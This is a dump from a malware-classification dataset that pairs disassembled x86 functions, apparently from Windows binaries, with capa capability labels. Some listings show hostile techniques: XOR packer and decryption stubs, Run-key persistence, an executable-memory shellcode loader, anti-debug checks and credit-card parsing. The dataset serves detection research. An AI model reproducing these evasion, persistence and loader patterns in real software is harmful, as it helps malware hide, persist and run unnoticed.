joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..3ean
nop
mov ebx, 0x40915c
nop
mov ecx, 0x75c30003
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..7LWLf
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x79be71da
nop
nop
nop
nop
test eax, eax
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x41146b
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
xor edx, edx
mov ecx, 0x811c9dc5
cmp dword [esp + 8], edx
jbe 0x411491
push esi
mov esi, dword [esp + 8]
movzx eax, byte [edx + esi]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [esp + 0xc]
jb 0x41147d
pop esi
mov eax, ecx
ret
Function at 0x453cb2
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x502d76
mov eax, dword fs:[0]
push eax
push ecx
push ecx
push ebx
push esi
push edi
mov eax, dword [0x56d078]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0xc
xor ebx, ebx
push ebx
push 1
lea ecx, [esi + 0x29c]
call fcn.004048ce
mov byte [ebp - 4], 0xb
lea ecx, [esi + 0x1f0]
call fcn.0045400f
mov byte [ebp - 4], 0xa
lea ecx, [esi + 0x1ec]
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], 0xa
mov ecx, dword [ecx]
sub ecx, 0x10
call fcn.00406bb0
mov byte [ebp - 4], 9
mov eax, dword [esi + 0x1d8]
mov edi, dword [0x518008]
test eax, eax
je 0x453d3c
push eax
call edi
mov dword [esi + 0x1d8], ebx
mov byte [ebp - 4], 8
mov eax, dword [esi + 0x1d0]
test eax, eax
je 0x453d53
push eax
call edi
mov dword [esi + 0x1d0], ebx
mov byte [ebp - 4], 7
lea ecx, [esi + 0x1cc]
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], 7
mov ecx, dword [ecx]
push 0x10
pop edi
sub ecx, edi
call fcn.00406bb0
mov byte [ebp - 4], 6
lea ecx, [esi + 0x174]
call fcn.00453f6b
mov byte [ebp - 4], 5
lea ecx, [esi + 0x13c]
call fcn.0048a9ae
mov byte [ebp - 4], 4
lea ecx, [esi + 0x130]
call fcn.00452fc6
mov byte [ebp - 4], 3
lea ecx, [esi + 0x30]
call fcn.0048785b
mov byte [ebp - 4], 2
lea ecx, [esi + 0x1c]
call fcn.00453f0e
mov byte [ebp - 4], 1
lea ecx, [esi + 0x10]
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ecx]
sub ecx, edi
call fcn.00406bb0
mov byte [ebp - 4], bl
lea ecx, [esi + 0xc]
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], bl
mov ecx, dword [ecx]
sub ecx, edi
call fcn.00406bb0
or dword [ebp - 4], 0xffffffff
lea ecx, [esi + 4]
mov dword [ebp - 0x14], ecx
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ecx]
sub ecx, edi
call fcn.00406bb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x49652f
Capabilities:
Persist via run registry key

Disassembly:
push ebp
sub esp, 0x190
lea ebp, [esp - 4]
mov eax, dword [0x56d078]
xor eax, ebp
mov dword [ebp + 0x190], eax
push 0x10
mov eax, 0x50c43c
call fcn.004cea03
mov dword [ebp - 0x1c], edx
mov esi, ecx
xor ebx, ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [0x571d38]
test eax, eax
je 0x496583
xor al, al
jmp 0x49668d
mov edi, dword [esi]
mov eax, dword [edi - 0xc]
cmp eax, 0x4f
jle 0x496596
lea edi, [edi + eax*2]
add edi, 0xffffff62
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0xc8
push eax
lea eax, [ebp]
push eax
push ebx
push ebx
push edi
push dword [ebp - 0x14]
call dword [0x571d4c]
mov ebx, eax
test ebx, ebx
jne 0x4965c4
cmp dword [ebp - 0x18], 0xc8
jbe 0x49667f
lea ecx, [ebp - 0x10]
call fcn.00406bd2
mov ebx, dword [ebp - 0x1c]
and dword [ebp - 4], 0
mov eax, dword [ebx]
cmp dword [eax - 0xc], 0
je 0x496620
push 0
mov ecx, esi
call fcn.0046a4e0
push 0x22
pop ecx
cmp ax, cx
je 0x496620
push 0
push 0x20
mov ecx, esi
call fcn.00452f19
cmp eax, 0xffffffff
je 0x496620
push 0x22
lea ecx, [ebp - 0x10]
call fcn.00471ce0
mov eax, dword [esi]
lea ecx, [ebp - 0x10]
push dword [eax - 0xc]
push eax
call fcn.004070e2
push 0x22
lea ecx, [ebp - 0x10]
call fcn.00471ce0
jmp 0x496629
push esi
lea ecx, [ebp - 0x10]
call fcn.00446330
mov eax, dword [ebx]
cmp dword [eax - 0xc], 0
je 0x49664b
push 0
mov ecx, ebx
call fcn.0046a4e0
push 0x20
pop ecx
cmp ax, cx
je 0x49664b
push ecx
lea ecx, [ebp - 0x10]
call fcn.00471ce0
mov eax, dword [ebx]
lea ecx, [ebp - 0x10]
push dword [eax - 0xc]
push eax
call fcn.004070e2
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax - 0xc]
add ecx, ecx
push ecx
push eax
push 1
push 0
push edi
push dword [ebp - 0x14]
call dword [0x571d3c]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.004068c3
push dword [ebp - 0x14]
call dword [0x571d54]
test ebx, ebx
sete al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x190]
xor ecx, ebp
call fcn.004cde67
lea esp, [ebp + 0x194]
pop ebp
ret

Function at 0x496779
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push esi
push edi
push eax
push 0xf003f
xor edi, edi
mov esi, ecx
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [0x571d50]
test eax, eax
je 0x4967a7
xor al, al
jmp 0x4967fd
mov esi, dword [esi]
mov eax, dword [esi - 0xc]
cmp eax, 0x4f
jle 0x4967ba
lea esi, [esi + eax*2]
add esi, 0xffffff62
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 1
push eax
lea eax, [ebp - 4]
push eax
push edi
push edi
push esi
push dword [ebp - 8]
call dword [0x571d4c]
mov edi, eax
test edi, edi
je 0x4967e3
cmp edi, 0xea
jne 0x4967ef
push esi
push dword [ebp - 8]
call dword [0x571d34]
mov edi, eax
push dword [ebp - 8]
call dword [0x571d54]
test edi, edi
sete al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x496871
Capabilities:
Reference sql statements

Disassembly:
push 0xc
mov eax, 0x50c4db
call fcn.004cea03
mov edi, ecx
cmp dword [edi], 0
jne 0x49688b
xor al, al
jmp 0x496948
lea ecx, [ebp - 0x18]
call fcn.00406bd2
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
push dword [eax]
lea eax, [ebp - 0x18]
push str.SELECT__Value__FROM__Property__WHERE__Property____s
push eax
call fcn.00407aa5
add esp, 0xc
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], 1
mov esi, dword [0x57233c]
cmp dword [ebp - 0x10], ebx
je 0x4968c5
push dword [ebp - 0x10]
call esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
push dword [ebp - 0x18]
push dword [edi]
call dword [0x572318]
test eax, eax
jne 0x49692b
push ebx
push dword [ebp - 0x10]
call dword [0x572314]
test eax, eax
jne 0x49692b
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 2
cmp dword [ebp - 0x14], eax
je 0x4968fa
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
push dword [ebp - 0x10]
call dword [0x572310]
test eax, eax
jne 0x49691c
push dword [ebp + 0xc]
push ecx
push dword [ebp - 0x14]
call fcn.00496a46
mov bl, al
mov byte [ebp - 4], 1
cmp dword [ebp - 0x14], 0
je 0x49692b
push dword [ebp - 0x14]
call esi
mov byte [ebp - 4], 0
cmp dword [ebp - 0x10], 0
je 0x49693a
push dword [ebp - 0x10]
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.004068c3
mov al, bl
call fcn.004ce9cc
ret 8

Function at 0x4a067b
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50dc8f
mov eax, dword fs:[0]
push eax
push ecx
push ecx
push ebx
push esi
push edi
mov eax, dword [0x56d078]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 5
call fcn.004a0747
mov esi, dword [0x57233c]
xor ebx, ebx
cmp dword [edi + 0x48], ebx
je 0x4a06cd
cmp dword [edi + 0x4c], ebx
je 0x4a06cd
push dword [edi + 0x48]
call esi
mov dword [edi + 0x48], ebx
mov byte [ebp - 4], 4
lea ecx, [edi + 0x58]
mov dword [ebp - 0x14], ecx
mov byte [ebp - 4], 4
call fcn.0040e4a5
mov byte [ebp - 4], 3
cmp dword [edi + 0x50], 0
je 0x4a06ef
push dword [edi + 0x50]
call esi
mov byte [ebp - 4], 2
lea esi, [edi + 0x30]
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 7
lea ecx, [esi + 0xc]
call fcn.004a1d52
mov byte [ebp - 4], 2
mov ecx, esi
call fcn.004a1e61
mov byte [ebp - 4], 1
lea ecx, [edi + 0x24]
call fcn.004679a0
mov byte [ebp - 4], bl
lea ecx, [edi + 0x18]
call fcn.004090a7
or dword [ebp - 4], 0xffffffff
mov ecx, edi
push ebx
push 1
call fcn.004048ce
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4af383
Capabilities:
Reference sql statements

Disassembly:
push 0x68
mov eax, 0x510bf9
call fcn.004cea37
mov esi, ecx
mov edi, dword [ebp + 8]
xor eax, eax
mov ebx, str.prereq
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push ebx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
call fcn.004d3ded
pop ecx
push eax
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00407ba8
xor ebx, ebx
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x5c]
call fcn.0045135c
pop ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2c]
push ebx
push 1
call fcn.004048ce
mov dword [ebp - 0x34], ebx
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x34], ebx
mov ebx, str.SELECT__Data__FROM__Binary__WHERE__Name___Prereq.dll
push ebx
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], ax
call fcn.004d3ded
pop ecx
push eax
push ebx
lea ecx, [ebp - 0x44]
call fcn.00407ba8
mov byte [ebp - 4], 3
lea eax, [ebp - 0x5c]
push eax
push esi
call dword [0x572294]
lea edx, [ebp - 0x44]
mov ecx, eax
call fcn.004a0a2f
pop ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x44]
push 0
push 1
call fcn.004048ce
cmp dword [ebp - 0x48], 8
lea ecx, [ebp - 0x5c]
cmovae ecx, dword [ebp - 0x5c]
call fcn.00415142
mov dword [ebp - 0x60], eax
lea edx, [ebp - 0x68]
push dword [ebp - 0x60]
lea eax, [ebp - 0x60]
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x74]
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x64], eax
call fcn.004b369a
pop ecx
mov byte [ebp - 4], 4
cmp dword [ebp - 0x60], 0
je 0x4af48a
push str.InstallPrereq
push dword [ebp - 0x60]
call dword [0x518068]
test eax, eax
je 0x4af48a
push esi
call eax
mov dword [edi], eax
mov bl, 1
jmp 0x4af48c
xor bl, bl
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x74]
call fcn.004b3200
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5c]
push 0
push 1
call fcn.004048ce
mov al, bl
call fcn.004ce9e1
ret 4
Function at 0x4c2e81
Capabilities:
Parse credit card information

Disassembly:
push ebx
push ebp
push esi
mov esi, ecx
xor cl, cl
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x4c2fed
mov ebp, 0x10000000
cmp eax, 0x7c
je 0x4c2fed
cmp eax, 0x29
jne 0x4c2eba
cmp dword [esi + 0x10], 0
jne 0x4c2fed
test dword [esi + 0x50], ebp
je 0x4c2ffb
cmp eax, 0x2e
jne 0x4c2ed5
push 5
lea ecx, [esi + 0x24]
call fcn.004c30f8
mov ecx, esi
call fcn.004c2e5c
jmp 0x4c2fd8
cmp eax, 0x5c
jne 0x4c2f32
mov ecx, esi
call fcn.004c2e5c
mov eax, dword [esi + 0x50]
and eax, 0x80
je 0x4c2f08
cmp word [esi + 0x48], 0x62
jne 0x4c2f08
push 4
lea ecx, [esi + 0x24]
call fcn.004c30f8
mov ecx, esi
call fcn.004c2e5c
jmp 0x4c2fdf
test eax, eax
je 0x4c2f26
cmp word [esi + 0x48], 0x42
jne 0x4c2f26
push 4
lea ecx, [esi + 0x24]
call fcn.004c30f8
mov eax, dword [esi + 0x28]
xor dword [eax + 8], 1
jmp 0x4c2efc
mov ecx, esi
call fcn.004c3bcf
jmp 0x4c2fd8
cmp eax, 0x5b
jne 0x4c2f56
mov ecx, esi
call fcn.004c2e5c
mov ecx, esi
call fcn.004c3b83
cmp dword [esi + 0x4c], 0x5d
je 0x4c2ec9
push 4
jmp 0x4c2ffd
cmp eax, 0x28
jne 0x4c2f7e
mov ecx, esi
call fcn.004c2e5c
mov ecx, esi
call fcn.004c3c7d
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x4c2ffb
mov ecx, esi
call fcn.004c2e5c
jmp 0x4c2fd4
cmp eax, 0x5e
jne 0x4c2f8a
push 2
jmp 0x4c2ef4
cmp eax, 0x24
jne 0x4c2f96
push 3
jmp 0x4c2ef4
cmp eax, 0x2a
je 0x4c2ff7
cmp eax, 0x2b
je 0x4c2ff7
cmp eax, 0x3f
je 0x4c2ff7
cmp eax, 0x7b
je 0x4c2ff7
cmp eax, 0x7d
jne 0x4c2fb4
test dword [esi + 0x50], ebp
je 0x4c2ff3
cmp eax, 0x5d
jne 0x4c2fbe
test dword [esi + 0x50], ebp
je 0x4c2f4f
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.004c3e1c
mov ecx, esi
call fcn.004c2e5c
mov bl, 1
test bl, bl
je 0x4c2fdf
mov ecx, esi
call fcn.004c3d59
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x4c2e99
pop esi
pop ebp
mov al, cl
pop ebx
ret
push 6
jmp 0x4c2ffd
push 0xa
jmp 0x4c2ffd
push 5
call fcn.004cb969
int3

Function at 0x4c9630
Capabilities:
Hash data with md5

Disassembly:
mov byte [ecx + 0x68], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x4cc973
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x516ba4
call fcn.004cea37
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x4cca90
cmp byte [ebx + 0x3e], 0
je 0x4cca90
mov eax, dword [ebx]
mov edi, 0xffff
push edi
mov esi, dword [eax + 0xc]
mov ecx, esi
call fcn.004ce98f
mov ecx, ebx
call esi
movzx eax, ax
cmp di, ax
sete al
test al, al
je 0x4cc9bf
xor al, al
jmp 0x4cca92
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.004516c6
and dword [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov edx, ecx
cmp eax, 0x10
jae 0x4cc9ef
lea edx, [ebp - 0x28]
mov ecx, edx
mov edi, dword [ebx + 0x38]
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
add eax, edx
mov esi, dword [edi]
push eax
push ecx
lea eax, [ebx + 0x40]
mov ecx, dword [esi + 0x20]
push eax
call fcn.004ce98f
mov ecx, edi
call dword [esi + 0x20]
sub eax, 0
je 0x4cca24
sub eax, 1
je 0x4cca28
dec eax
sub eax, 1
je 0x4cca7e
xor bl, bl
jmp 0x4cca80
mov byte [ebx + 0x3e], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov edx, ecx
cmp eax, 0x10
jae 0x4cca38
lea edx, [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
sub esi, edx
je 0x4cca60
cmp eax, 0x10
jae 0x4cca47
lea ecx, [ebp - 0x28]
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.004df7e9
add esp, 0x10
cmp esi, eax
jne 0x4cca20
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
cmp byte [ebx + 0x3e], 0
je 0x4cca7e
test esi, esi
jne 0x4cc9e3
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.004040e5
jmp 0x4cc9dd
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.0040450d
mov al, bl
jmp 0x4cca92
mov al, 1
call fcn.004ce9e1
ret

Function at 0x4e926b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e8f2e

Function at 0x4e9276
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004e90af

Function at 0x4f17a6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x24
mov eax, dword [0x56d078]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
push edi
mov esi, ecx
call dword [0x571ec8]
mov eax, dword [esp + 0x3c]
mov edi, dword [esi + 0x30]
movsx ebx, ax
shr eax, 0x10
movsx ebp, ax
jmp 0x4f1815
mov esi, dword [edi]
lea ecx, [esp + 0x1c]
xorps xmm0, xmm0
movups xmmword [esp + 0x1c], xmm0
push ecx
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x38]
push ebp
push ebx
lea eax, [esp + 0x24]
push eax
call dword [0x571f9c]
test eax, eax
je 0x4f1812
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x78]
test al, al
je 0x4f1812
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x80]
test al, al
jne 0x4f181b
mov edi, dword [edi + 8]
test edi, edi
jne 0x4f17d2
jmp 0x4f1841
xor eax, eax
mov dword [esp + 0x10], ebx
cmp dword [esp + 0x38], 0x205
lea ecx, [esp + 0x10]
push ecx
sete al
mov dword [esp + 0x18], ebp
inc eax
mov ecx, esi
mov dword [esp + 0x1c], eax
mov eax, dword [esi]
call dword [eax + 0x4c]
mov ecx, dword [esp + 0x2c]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004cde67
add esp, 0x24
ret 8
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x50aa32f1
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x50762964
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x10007c2e
pop dword [ebp - 0x34]
mov eax, 0x932b8d8f
add eax, 0x7cd4ee9f
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xe3b0b877
add dword [ebp - 0x44], 0x6aa18cd4
mov dword [ebp - 0x40], 0x31728b0b
sub dword [ebp - 0x40], 0xff3f3ec6
mov dword [ebp - 0x3c], 0x1edbc23
sub dword [ebp - 0x3c], 0xb5a177f5
mov dword [ebp - 0x38], 0xc0872810
sub dword [ebp - 0x38], 0xc0872810
lea eax, [ebp - 0x44]
push eax
mov eax, 0x5aa37f97
sub eax, 0x4aa2ff43
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x323ac30b
sub dword [ebp - 0x44], 0xbdc859b5
mov dword [ebp - 0x40], 0xcfe8744c
sub dword [ebp - 0x40], 0x8e7c12d7
mov dword [ebp - 0x3c], 0xfda4dcfb
add dword [ebp - 0x3c], 0x65ca8f71
mov dword [ebp - 0x38], 0xd558f87b
sub dword [ebp - 0x38], 0xd558f87b
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0x9629480e
sub eax, 0x8628c7be
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x35bce
push 0
call eax
mov ecx, 0x4448
xor edx, edx
add edx, eax
mov edi, 0x4441500d
sub edi, 0x3440560d
add edi, dword [ebp - 0x34]
mov esi, 0x9c522cde
mov ebx, dword [edi]
add dword [ebp - 0x28], edi
add ebx, esi
xor dword [ebp - 0xc], 0x8556682d
mov dword [edx], ebx
xor dword [ebp - 0x24], 0x7ac40d8d
add edx, 0xb9745da7
add edx, 0x468ba25d
add edi, 0x7bb50314
sub edi, 0x7bb50310
loop 0x10007d46
add eax, 0x7493c4e2
add eax, 0x8b6d3f11
mov ebx, eax
add eax, 0xdfb93b9b
add eax, 0x2046c46a
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4195d0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4195d6
ret
Function at 0x457980
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x10], 0xca
jne 0x4579ae
mov eax, ebx
call fcn.00458424
cmp dword [ebx + 0x3c], 0
je 0x4579a7
mov dword [ebx + 0x10], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x10], 0xcb
cmp dword [ebx + 0x10], 0xcb
jne 0x457a1f
mov edx, dword [ebx + 0x1a6]
cmp dword [edx + 0x10], 0
je 0x457a11
cmp dword [ebx + 8], 0
je 0x4579d0
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1a6]
call dword [edx]
test eax, eax
jne 0x4579e2
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x457a11
cmp dword [ebx + 8], 0
je 0x4579c3
cmp eax, 3
je 0x4579f5
dec eax
jne 0x4579c3
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4579c3
mov edx, dword [ebx + 0x132]
add dword [eax + 8], edx
jmp 0x4579c3
mov ecx, dword [ebx + 0x8c]
mov dword [ebx + 0x94], ecx
jmp 0x457a3d
cmp dword [ebx + 0x10], 0xcc
je 0x457a3d
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x12
mov edx, dword [ebx + 0x10]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.00457a48
pop ebx
ret

Function at 0x48e6d4
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov esi, edx
mov ecx, eax
xor eax, eax
push ebp
push 0x48e769
push dword fs:[eax]
mov dword fs:[eax], esp
test ecx, ecx
setl byte [ebp - 1]
mov eax, ecx
cdq
xor eax, edx
sub eax, edx
mov ebx, eax
cmp byte [ebp - 1], 0
je 0x48e70c
dec ebx
not ebx
mov eax, esi
call fcn.00403c14
mov edi, ebx
and edi, 0xff
shr ebx, 8
lea eax, [ebp - 8]
mov edx, edi
call fcn.00403dbc
mov edx, dword [ebp - 8]
mov ecx, dword [esi]
mov eax, esi
call fcn.00403ee0
test ebx, ebx
jne 0x48e713
cmp byte [ebp - 1], 0
jne 0x48e753
mov eax, dword [esi]
cmp byte [eax], 0x7f
jbe 0x48e753
mov ecx, dword [esi]
mov eax, esi
mov edx, 0x48e780
call fcn.00403ee0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48e770
lea eax, [ebp - 8]
call fcn.00403c14
ret

Function at 0x5eb3700
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.05eb378f
jae 0x5eb370e
xor ecx, ecx
call fcn.05eb378f
jae 0x5eb373d
xor eax, eax
call fcn.05eb378f
jae 0x5eb374d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.05eb378f
adc al, al
jae 0x5eb372f
jne 0x5eb3779
stosb byte es:[edi], al
jmp 0x5eb3711
call fcn.05eb379b
sub ecx, ebx
jne 0x5eb3756
call fcn.05eb3799
jmp 0x5eb3775
lodsb al, byte [esi]
shr eax, 1
je 0x5eb3783
adc ecx, ecx
jmp 0x5eb3772
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.05eb3799
cmp eax, 0x7d00
jae 0x5eb3772
cmp ah, 5
jae 0x5eb3773
cmp eax, 0x7f
ja 0x5eb3774
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5eb3711
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x10003880
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d730
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
mov eax, ecx
push esi
push edi
push 8
mov dword [ebp - 0x10], eax
mov dword [eax], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10005895
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10004df9
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp - 0x10]
lea edi, [eax + 0x14]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
mov dword [eax + 0x34], esi
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea esi, [eax + 8]
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
